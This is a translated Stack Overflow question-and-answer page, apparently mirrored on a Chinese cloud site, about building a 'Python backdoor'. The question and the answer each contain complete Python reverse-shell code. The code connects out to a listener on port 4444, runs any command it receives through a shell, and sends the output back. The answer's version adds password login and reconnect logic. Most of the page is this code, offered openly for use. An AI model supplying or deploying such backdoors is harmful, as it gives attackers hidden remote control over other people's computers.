首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >问答首页 >Python后门

Python后门
EN

Stack Overflow用户
提问于 2016-05-22 15:33:15
回答 1查看 3.1K关注 0票数 0

大家好,我正在构建一个python后门。因此,当我启动netcat for listener并启动后门时,它会连接所有东西,但例如,当我输入ipconfig时,它会显示“无法找到指定的文件目录”或类似的内容。代码如下:

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/python

import socket
import subprocess

HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')

while 1:
    data = s.recv(1024)

    if data == 'quit' : break

    proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(b'\n' + stdoutput)

# Exiting
s.send(b'\nExiting...\n')
s.close()
EN

回答 1

Stack Overflow用户

发布于 2018-03-27 13:56:31

试试这个:

希望不会太多。我还添加了一些功能。欢迎光临:)

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/python

# Import the required librarys for the job
import subprocess
import socket
import os

# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure

# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# This method will be used for handling the exit when you type -quit
def Quit():
       s.send('    [<] Hope to see you soon :)\n')
       s.close()
       Connect()

# This method will wait until the connection is alive
def Connect():
       s.connect((HOST, PORT))                                                                                      
       s.send('''\n
    +--------------------+
    | You are connected! |
    +--------------------+
    | X IS Something err!! |
    | < IS Incomming!!     |
    | > IS Outgoing!!       |
    +--------------------+

    ''')
       Login()

# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
       s.send('    [>] Please login #>> ')
       pwd = s.recv(1024)

       if pwd.strip() == PASS:
              Shell()
       else:
              s.send('    [X] Incorrect Login!!\n')
              Login()

# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
       s.send('    [<] We\'re in :)\n    [>]-{ ' + os.curdir + ' } Console #>> ')
       while 1:
           data = s.recv(1024)

           # Make sure that you use '-quit'!!
           if data.upper()[:5] == '-QUIT' : break

           proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
           stdoutput = "    [<] " + proc.stdout.read() + proc.stderr.read()
           s.send('\n\n' + stdoutput + '\n\n')
           s.send('    [>]-{ ' + os.curdir + ' } Console #>> ')
       Quit()
Connect()
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/37371703

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档